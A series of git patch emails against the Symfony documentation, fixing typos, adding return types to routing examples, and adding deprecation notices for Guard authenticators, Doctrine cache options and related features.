+``debug`` level for keys where there is a translation in the fallback
+locale, and the ``warning`` level if there is no translation to use at all.
 
 .. _reference-framework-translator-formatter:
 

From 168004a3c72da3ed845bb4cbf43db4e35ba43c30 Mon Sep 17 00:00:00 2001
From: Tobias Schultze <webmaster@tubo-world.de>
Date: Wed, 14 Jul 2021 00:47:57 +0200
Subject: [PATCH 0978/5766] Fix typo in choice_translation_parameters doc

---
 .../forms/types/options/choice_translation_parameters.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
index 32e66393383..a384d38d487 100644
--- a/reference/forms/types/options/choice_translation_parameters.rst.inc
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -50,7 +50,7 @@ Given this translation message:
 You can specify the placeholder values as follows::
 
     $builder->add('id', null, [
-        'choice' => [
+        'choices' => [
             'form.order.yes' => true,
             'form.order.no' => false,
         ],
@@ -66,7 +66,7 @@ You can specify the placeholder values as follows::
 If an array, the keys of the ``choices`` array must be used as keys::
 
     $builder->add('id', null, [
-        'choice' => [
+        'choices' => [
             'form.order.yes' => true,
             'form.order.no' => false,
         ],

From ddb3b8040edb80d67410677758b62ffc35e87026 Mon Sep 17 00:00:00 2001
From: Piotr Stankowski <trakos@users.noreply.github.com>
Date: Wed, 14 Jul 2021 01:24:05 +0200
Subject: [PATCH 0979/5766] Note that file_put_contents is non-atomic

---
 components/dependency_injection/compilation.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index d7284046b82..fc3ead79dab 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -468,6 +468,14 @@ serves at dumping the compiled container::
         file_put_contents($file, $dumper->dump());
     }
 
+
+.. tip::
+
+    Call to `file_put_contents` is not atomic. When generating container in
+    a production  environment with multiple concurrent requests, use `dumpFile`
+    from `component-filesystem` instead. This generates file in tmp and moves it
+    to its destination only once it's fully written to.
+    
 ``ProjectServiceContainer`` is the default name given to the dumped container
 class. However, you can change this with the ``class`` option when you
 dump it::
@@ -559,6 +567,11 @@ for these resources and use them as metadata for the cache::
 
     require_once $file;
     $container = new MyCachedContainer();
+    
+.. note::
+
+    Using `$containerConfigCache->write` also makes sure that
+    the file write operation is atomic.
 
 Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug

From 00fe4bc0e4f8f030bb7b57c42f7ee364d326f63a Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 14 Jul 2021 20:51:14 +0200
Subject: [PATCH 0980/5766] [Routing] Add small improvements

---
 routing.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index e68f04eba18..ec39d1f8e00 100644
--- a/routing.rst
+++ b/routing.rst
@@ -953,7 +953,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 format="html">
 
                 <requirement key="_locale">en|fr</requirement>
-                <requirement key="_format">html|rss</requirement>
+                <requirement key="_format">html|xml</requirement>
 
             </route>
         </routes>
@@ -972,7 +972,7 @@ and in route imports. Symfony defines some special attributes with the same name
                 ->format('html')
                 ->requirements([
                     '_locale' => 'en|fr',
-                    '_format' => 'html|rss',
+                    '_format' => 'html|xml',
                 ])
             ;
         };
@@ -1662,7 +1662,7 @@ multi-tenant applications) and these parameters can be validated too with
         };
 
 In the above example, the ``subdomain`` parameter defines a default value because
-otherwise you need to include a domain value each time you generate a URL using
+otherwise you need to include a subdomain value each time you generate a URL using
 these routes.
 
 .. tip::
@@ -1682,7 +1682,7 @@ these routes.
             [],
             ['HTTP_HOST' => 'm.example.com']
             // or get the value from some configuration parameter:
-            // ['HTTP_HOST' => 'm.' . $client->getContainer()->getParameter('domain')]
+            // ['HTTP_HOST' => 'm.'.$client->getContainer()->getParameter('domain')]
         );
 
 .. _i18n-routing:
@@ -1813,7 +1813,7 @@ with a locale. This can be done by defining a different prefix for each locale
                 ->prefix([
                     // don't prefix URLs for English, the default locale
                     'en' => '',
-                    'nl' => '/nl'
+                    'nl' => '/nl',
                 ])
             ;
         };

From 2138f7651913b79275dadb20c840696dba30485f Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 14 Jul 2021 21:19:58 +0200
Subject: [PATCH 0981/5766] [Routing] Improve PHP attributes examples

---
 routing.rst | 70 ++++++++++++++++++++++++++++++++---------------------
 1 file changed, 43 insertions(+), 27 deletions(-)

diff --git a/routing.rst b/routing.rst
index 8f9fe7a3785..b81e042c019 100644
--- a/routing.rst
+++ b/routing.rst
@@ -232,13 +232,13 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         class BlogApiController extends AbstractController
         {
             #[Route('/api/posts/{id}', methods: ['GET', 'HEAD'])]
-            public function show(int $id)
+            public function show(int $id): Response
             {
                 // ... return a JSON response with the post
             }
 
             #[Route('/api/posts/{id}', methods: ['PUT'])]
-            public function edit(int $id)
+            public function edit(int $id): Response
             {
                 // ... edit a post
             }
@@ -343,6 +343,7 @@ arbitrary matching logic:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class DefaultController extends AbstractController
@@ -354,7 +355,7 @@ arbitrary matching logic:
             )]
             // expressions can also include config parameters:
             // condition: "request.headers.get('User-Agent') matches '%app.allowed_browsers%'"
-            public function contact()
+            public function contact(): Response
             {
                 // ...
             }
@@ -517,6 +518,7 @@ defined as ``/blog/{slug}``:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
@@ -524,7 +526,7 @@ defined as ``/blog/{slug}``:
             // ...
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // $slug will equal the dynamic part of the URL
                 // e.g. at /blog/yay-routing, then $slug='yay-routing'
@@ -623,18 +625,19 @@ the ``{page}`` parameter using the ``requirements`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show($slug)
+            public function show($slug): Response
             {
                 // ...
             }
@@ -750,12 +753,13 @@ concise, but it can decrease route readability when requirements are complex:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -804,7 +808,7 @@ visit ``/blog/1``, it will match. But if they visit ``/blog``, it will **not**
 match. As soon as you add a parameter to a route, it must have a value.
 
 You can make ``blog_list`` once again match when the user visits ``/blog`` by
-adding a default value for the ``{page}`` parameter. When using annotations,
+adding a default value for the ``{page}`` parameter. When using annotations or attributes,
 default values are defined in the arguments of the controller action. In the
 other configuration formats they are defined with the ``defaults`` option:
 
@@ -836,12 +840,13 @@ other configuration formats they are defined with the ``defaults`` option:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_list', requirements: ['page' => '\d+'])]
-            public function list(int $page = 1)
+            public function list(int $page = 1): Response
             {
                 // ...
             }
@@ -940,12 +945,13 @@ parameter:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class BlogController extends AbstractController
         {
             #[Route('/blog/{page<\d+>?1}', name: 'blog_list')]
-            public function list(int $page)
+            public function list(int $page): Response
             {
                 // ...
             }
@@ -1194,7 +1200,7 @@ and in route imports. Symfony defines some special attributes with the same name
                     '_format' => 'html|xml',
                 ],
             )]
-            public function search()
+            public function search(): Response
             {
             }
         }
@@ -1285,12 +1291,14 @@ the controllers of the routes:
         // src/Controller/BlogController.php
         namespace App\Controller;
 
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/blog/{page}', name: 'blog_index', defaults: ['page' => 1, 'title' => 'Hello world!'])]
-            public function index(int $page, string $title)
+            public function index(int $page, string $title): Response
             {
                 // ...
             }
@@ -1375,13 +1383,15 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
-        class DefaultController
+        class DefaultController extends AbstractController
         {
             #[Route('/share/{token}', name: 'share', requirements: ['token' => '.+'])]
-            public function share($token)
+            public function share($token): Response
             {
                 // ...
             }
@@ -1493,20 +1503,22 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-
+        
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         #[Route('/blog', requirements: ['_locale' => 'en|es|fr'], name: 'blog_')]
-        class BlogController
+        class BlogController extends AbstractController
         {
             #[Route('/{_locale}', name: 'index')]
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
 
             #[Route('/{_locale}/posts/{slug}', name: 'show')]
-            public function show(Post $post)
+            public function show(Post $post): Response
             {
                 // ...
             }
@@ -1837,18 +1849,19 @@ host name:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
         {
             #[Route('/', name: 'mobile_homepage', host: 'm.example.com')]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -1946,6 +1959,7 @@ multi-tenant applications) and these parameters can be validated too with
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class MainController extends AbstractController
@@ -1957,13 +1971,13 @@ multi-tenant applications) and these parameters can be validated too with
                 defaults: ['subdomain' => 'm'],
                 requirements: ['subdomain' => 'm|mobile'],
             )]
-            public function mobileHomepage()
+            public function mobileHomepage(): Response
             {
                 // ...
             }
 
             #[Route('/', name: 'homepage')]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -2101,6 +2115,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class CompanyController extends AbstractController
@@ -2109,7 +2124,7 @@ avoids the need for duplicating routes, which also reduces the potential bugs:
                 'en' => '/about-us',
                 'nl' => '/over-ons'
             ], name: 'about_us')]
-            public function about()
+            public function about(): Response
             {
                 // ...
             }
@@ -2257,7 +2272,7 @@ locale.
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
                     'en' => 'https://www.example.com',
-                    'nl' => 'https://www.example.nl'
+                    'nl' => 'https://www.example.nl',
                 ])
             ;
         };
@@ -2711,12 +2726,13 @@ each route explicitly:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class SecurityController extends AbstractController
         {
             #[Route('/login', name: 'login', schemes: ['https'])]
-            public function login()
+            public function login(): Response
             {
                 // ...
             }

From 000457546b88c60b845df0c52b05a0240a9c7cc9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 14:55:54 +0200
Subject: [PATCH 0982/5766] Backport #15453 fix

---
 components/ldap.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/ldap.rst b/components/ldap.rst
index 5b16a3ffb97..0c164d305dc 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -117,7 +117,7 @@ to the ``LDAP_SCOPE_BASE`` scope of :phpfunction:`ldap_read`) and ``SCOPE_ONE``
 
 Use the ``filter`` option to only retrieve some specific attributes:
 
-    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn, mail']);
+    $query = $ldap->query('dc=symfony,dc=com', '...', ['filter' => ['cn', 'mail']);
 
 Creating or Updating Entries
 ----------------------------

From 882c8f27a38616fe18bc5c2f77fc0315ab453d53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:02:03 +0200
Subject: [PATCH 0983/5766] Update Contracts to 3.0 version

---
 components/contracts.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/contracts.rst b/components/contracts.rst
index 1f1cc3f6adc..a1ae32192f6 100644
--- a/components/contracts.rst
+++ b/components/contracts.rst
@@ -61,7 +61,7 @@ convention. For example:
     {
         "...": "...",
         "provide": {
-            "symfony/cache-implementation": "1.0"
+            "symfony/cache-implementation": "3.0"
         }
     }
 

From 675b2ac7d391ecde93f6e2702e6c94afd7f1a927 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:19:50 +0200
Subject: [PATCH 0984/5766] [FrameworkBundle] Deprecate services in Doctrine
 cache

---
 reference/configuration/framework.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f7cb5538c8..97439a08f33 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2801,6 +2801,10 @@ none
 a service id
     A service id referencing a `Doctrine Cache`_ implementation
 
+.. deprecated:: 5.3
+
+    Using a service ID as the value of ``cache`` is deprecated since Symfony 5.3.
+
 file_cache_dir
 ..............
 

From bdf6ac689f9996e1a352539440b2bf186bdd5359 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:31:01 +0200
Subject: [PATCH 0985/5766] [FrameworkBundle] Update the default config of
 Doctrine cache

---
 reference/configuration/framework.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8f7cb5538c8..6695e7bb55b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2790,10 +2790,12 @@ annotations
 cache
 .....
 
-**type**: ``string`` **default**: ``'file'``
+**type**: ``string`` **default**: ``'php_array'``
 
 This option can be one of the following values:
 
+php_array
+    Use a PHP array to cache annotations in memory
 file
     Use the filesystem to cache annotations
 none

From 92dd49ccc84b87c706c2db1095a9899ecfc75bca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 16:46:10 +0200
Subject: [PATCH 0986/5766] [HttpClient] Mention how to get the effective
 response URL

---
 http_client.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index b1fd989a44c..2a87a8ac7f3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -845,6 +845,8 @@ following methods::
 
     // you can get individual info too
     $startTime = $response->getInfo('start_time');
+    // e.g. this returns the final response URL (resolving redirections if needed)
+    $url = $response->getInfo('url');
 
     // returns detailed logs about the requests and responses of the HTTP transaction
     $httpLogs = $response->getInfo('debug');

From e329db9eb37ef331af72e12726c433646e4fa7ea Mon Sep 17 00:00:00 2001
From: Steve <steve.clifton@outlook.com>
Date: Fri, 16 Jul 2021 09:32:10 +1200
Subject: [PATCH 0987/5766] Update best_practices.rst

Add missing text to sentence
---
 best_practices.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/best_practices.rst b/best_practices.rst
index ba58ea2bd8f..284bdb7cfa2 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -170,7 +170,7 @@ Use Autowiring to Automate the Configuration of Application Services
 
 :doc:`Service autowiring </service_container/autowiring>` is a feature that
 reads the type-hints on your constructor (or other methods) and automatically
-passes the correct services to each method, making unnecessary to configure
+passes the correct services to each method, making it unnecessary to configure
 services explicitly and simplifying the application maintenance.
 
 Use it in combination with :ref:`service autoconfiguration <services-autoconfigure>`

From 74f39b2a23e0e7cb13cdc5a41d632bb6e98fbcaf Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 10:04:04 +0200
Subject: [PATCH 0988/5766] [Security] Deprecate
 always_authenticate_before_granting option

---
 components/security/authentication.rst | 5 +++++
 reference/configuration/security.rst   | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 9cca9f18d9f..dc93ce931da 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -302,6 +302,11 @@ request if you have session-based authentication, if ``always_authenticate_befor
 is enabled or if token is not authenticated before AccessListener is invoked.
 See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
 a ``security.authentication.failure`` event is dispatched. You could listen on
 the ``security.authentication.failure`` event, for example, in order to log
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e44d2532f02..ae20520c08f 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -58,6 +58,11 @@ always_authenticate_before_granting
 
 **type**: ``boolean`` **default**: ``false``
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.

From efe0925b459e59fdc86488ef6a4a3f7076594b58 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 12:27:08 +0200
Subject: [PATCH 0989/5766] [Security] Add deprecation notices about Guard
 authenticators

---
 security.rst                                |  5 +++++
 security/auth_providers.rst                 |  6 +++---
 security/custom_authentication_provider.rst |  6 ++----
 security/guard_authentication.rst           | 10 +++++-----
 security/multiple_guard_authenticators.rst  |  5 +++++
 5 files changed, 20 insertions(+), 12 deletions(-)

diff --git a/security.rst b/security.rst
index a8a254ef137..905d14f7d23 100644
--- a/security.rst
+++ b/security.rst
@@ -462,6 +462,11 @@ you to control *every* part of the authentication process (see the next section)
 Guard Authenticators
 ~~~~~~~~~~~~~~~~~~~~
 
+.. deprecated:: 5.3
+
+    Guard authenticators are deprecated since Symfony 5.3 in favor of the
+    :doc:`new authenticator-based system </security/authenticator_manager>`.
+
 A Guard authenticator is a class that gives you *complete* control over your
 authentication process. There are many different ways to build an authenticator;
 here are a few common use-cases:
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
index 2f9764a77fa..f2a672c41c7 100644
--- a/security/auth_providers.rst
+++ b/security/auth_providers.rst
@@ -1,9 +1,9 @@
 Built-in Authentication Providers
 =================================
 
-If you need to add authentication to your app, we recommend using
-:doc:`Guard authentication </security/guard_authentication>` because it gives you
-full control over the process.
+If you need to add authentication to your app, we recommend using the
+:doc:`new authenticator-based system </security/authenticator_manager>` because
+it gives you full control over the process.
 
 But, Symfony also offers a number of built-in authentication providers: systems
 that are easier to implement, but harder to customize. If your authentication
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index 743fdb9382e..94fdda02708 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -7,10 +7,8 @@ How to Create a custom Authentication Provider
 .. caution::
 
     Creating a custom authentication system is hard, and almost definitely
-    **not** needed. Instead, see :doc:`/security/guard_authentication` for a
-    simple way to create an authentication system you will love. Do **not**
-    keep reading unless you want to learn the lowest level details of
-    authentication.
+    **not** needed. Instead, see the
+    :doc:`new authenticator-based system </security/authenticator_manager>`
 
 Symfony provides support for the most
 :doc:`common authentication mechanisms </security/auth_providers>`. However, your
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 67934f61592..8b61ac97558 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -4,6 +4,11 @@
 Custom Authentication System with Guard (API Token Example)
 ===========================================================
 
+.. deprecated:: 5.3
+
+    Guard authenticators are deprecated since Symfony 5.3 in favor of the
+    :doc:`new authenticator-based system </security/authenticator_manager>`.
+
 Guard authentication can be used to:
 
 * :doc:`Build a Login Form </security/form_login_setup>`
@@ -14,11 +19,6 @@ Guard authentication can be used to:
 and many more. In this example, we'll build an API token authentication
 system, so we can learn more about Guard in detail.
 
-.. tip::
-
-    A :doc:`new authenticator-based system </security/authenticator_manager>`
-    was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
-
 Step 1) Prepare your User Class
 -------------------------------
 
diff --git a/security/multiple_guard_authenticators.rst b/security/multiple_guard_authenticators.rst
index 8c4647c49c6..7e121fcc6cc 100644
--- a/security/multiple_guard_authenticators.rst
+++ b/security/multiple_guard_authenticators.rst
@@ -1,6 +1,11 @@
 How to Use Multiple Guard Authenticators
 ========================================
 
+.. deprecated:: 5.3
+
+    Guard authenticators are deprecated since Symfony 5.3 in favor of the
+    :doc:`new authenticator-based system </security/authenticator_manager>`.
+
 The Guard authentication component allows you to use many different
 authenticators at a time.
 

From a6d4c409ff980830c2446f2890e1df218593f0af Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Jul 2021 10:40:05 +0200
Subject: [PATCH 0990/5766] [Form] Document using TranslatableMessage in form
 help

---
 reference/forms/types/options/help.rst.inc | 22 ++++++++++++++++++----
 1 file changed, 18 insertions(+), 4 deletions(-)

diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index ded87842d8e..86f84111c88 100644
--- a/reference/forms/types/options/help.rst.inc
+++ b/reference/forms/types/options/help.rst.inc
@@ -1,11 +1,25 @@
 help
 ~~~~
 
-**type**: ``string`` **default**: null
+**type**: ``string`` or ``TranslatableMessage`` **default**: null
 
 Allows you to define a help message for the form field, which by default is
 rendered below the field::
 
-    $builder->add('zipCode', null, [
-        'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
-    ]);
+    use Symfony\Component\Translation\TranslatableMessage;
+
+    $builder
+        ->add('zipCode', null, [
+            'help' => 'The ZIP/Postal code for your credit card\'s billing address.',
+        ])
+
+        // ...
+
+        ->add('status', null, [
+            'help' => new TranslatableMessage('order.status', ['%order_id%' => $order->getId()], 'store'),
+        ])
+    ;
+
+.. versionadded:: 5.4
+
+    Support for passing ``TranslatableMessage`` objects was introduced in Symfony 5.4.

From d80c0b191616e2cab27070654c436e1faaffb056 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 17:20:06 +0200
Subject: [PATCH 0991/5766] [Cache] Deprecate the DoctrineProvider class

---
 cache.rst                                      | 5 +++++
 components/cache/adapters/doctrine_adapter.rst | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/cache.rst b/cache.rst
index dcf5333ffcc..632f5f4905f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -187,6 +187,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             ;
         };
 
+.. deprecated:: 5.4
+
+    The ``default_doctrine_provider`` option was deprecated in Symfony 5.4 and
+    it will be removed in Symfony 6.0.
+
 .. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 198ae19338c..78ca23ae1ea 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -39,4 +39,9 @@ third parameters::
     A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the
     component to use any PSR6-compatible implementations with Doctrine-compatible classes.
 
+    .. deprecated:: 5.4
+
+        The ``DoctrineProvider`` class was deprecated in Symfony 5.4 and it will
+        be removed in Symfony 6.0.
+
 .. _`Doctrine Cache`: https://github.com/doctrine/cache

From 6aa61a12784baee99049b9f259774d7e711987ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 14:50:46 +0200
Subject: [PATCH 0992/5766] Remove 5.x versionadded directives

---
 best_practices.rst                            |   2 +-
 cache.rst                                     |   9 --
 components/asset.rst                          |   4 -
 components/browser_kit.rst                    |   8 --
 .../cache/adapters/array_cache_adapter.rst    |   4 -
 .../adapters/couchbasebucket_adapter.rst      |   4 -
 components/config/definition.rst              |   7 -
 components/console/helpers/cursor.rst         |   5 -
 components/console/helpers/questionhelper.rst |   9 --
 components/console/helpers/table.rst          |   4 -
 components/console/single_command_tool.rst    |   5 -
 components/dependency_injection.rst           |   2 -
 components/dom_crawler.rst                    |   8 --
 components/filesystem.rst                     |   4 -
 components/http_foundation.rst                |  22 ---
 components/http_foundation/sessions.rst       |  22 ---
 components/intl.rst                           |   8 --
 components/ldap.rst                           |   5 -
 components/lock.rst                           |  24 +---
 components/options_resolver.rst               |  15 ---
 components/phpunit_bridge.rst                 |  32 -----
 components/process.rst                        |   8 --
 components/property_access.rst                |  12 +-
 components/property_info.rst                  |   4 -
 components/runtime.rst                        |  10 --
 components/security/authentication.rst        |   2 -
 components/security/authorization.rst         |   9 --
 components/security/secure_tools.rst          |   6 +-
 components/semaphore.rst                      |   4 -
 components/serializer.rst                     |  12 --
 components/string.rst                         |  40 ------
 components/uid.rst                            |  41 ------
 components/var_dumper.rst                     |   4 -
 components/yaml/yaml_format.rst               |   6 -
 configuration.rst                             |   5 -
 configuration/env_var_processors.rst          |   5 -
 console.rst                                   |  18 ---
 console/coloring.rst                          |   8 --
 console/input.rst                             |   4 -
 console/lockable_trait.rst                    |   4 -
 console/style.rst                             |   4 -
 contributing/documentation/format.rst         |  16 +--
 deployment/proxies.rst                        |  13 --
 doctrine/events.rst                           |   4 -
 event_dispatcher.rst                          |  10 --
 form/bootstrap5.rst                           |   4 -
 form/data_mappers.rst                         |   4 -
 form/form_themes.rst                          |  12 --
 forms.rst                                     |   4 -
 http_cache.rst                                |   5 -
 http_client.rst                               |  34 -----
 logging/processors.rst                        |   4 -
 mailer.rst                                    |  44 ------
 messenger.rst                                 | 125 +++---------------
 notifier.rst                                  |  41 ------
 notifier/chatters.rst                         |  24 ----
 notifier/texters.rst                          |   8 --
 profiler/data_collector.rst                   |   4 -
 rate_limiter.rst                              |   9 --
 reference/configuration/framework.rst         | 105 +--------------
 reference/configuration/kernel.rst            |   4 -
 reference/configuration/security.rst          |  43 +-----
 reference/configuration/swiftmailer.rst       |   4 -
 reference/constraints/AtLeastOneOf.rst        |   4 -
 reference/constraints/Blank.rst               |   4 -
 reference/constraints/CardScheme.rst          |   4 -
 reference/constraints/Choice.rst              |   4 -
 reference/constraints/Compound.rst            |  10 --
 reference/constraints/Count.rst               |   8 --
 reference/constraints/Country.rst             |   4 -
 reference/constraints/Currency.rst            |   4 -
 reference/constraints/Date.rst                |   4 -
 reference/constraints/DateTime.rst            |   4 -
 reference/constraints/Email.rst               |   4 -
 reference/constraints/Expression.rst          |   4 -
 .../constraints/ExpressionLanguageSyntax.rst  |   4 -
 reference/constraints/Hostname.rst            |   8 --
 reference/constraints/Iban.rst                |   4 -
 reference/constraints/Ip.rst                  |   4 -
 reference/constraints/IsFalse.rst             |   4 -
 reference/constraints/IsNull.rst              |   4 -
 reference/constraints/IsTrue.rst              |   4 -
 reference/constraints/Isbn.rst                |  16 ---
 reference/constraints/Isin.rst                |   4 -
 reference/constraints/Issn.rst                |   4 -
 reference/constraints/Language.rst            |   8 --
 reference/constraints/Length.rst              |  23 +---
 reference/constraints/Locale.rst              |   4 -
 reference/constraints/Luhn.rst                |   4 -
 reference/constraints/NotBlank.rst            |   4 -
 reference/constraints/NotNull.rst             |   4 -
 reference/constraints/Range.rst               |   8 --
 reference/constraints/Regex.rst               |   4 -
 reference/constraints/Sequentially.rst        |   4 -
 reference/constraints/Time.rst                |   4 -
 reference/constraints/Timezone.rst            |   4 -
 reference/constraints/Type.rst                |   4 -
 reference/constraints/Ulid.rst                |   4 -
 reference/constraints/Unique.rst              |   4 -
 reference/constraints/UniqueEntity.rst        |   4 -
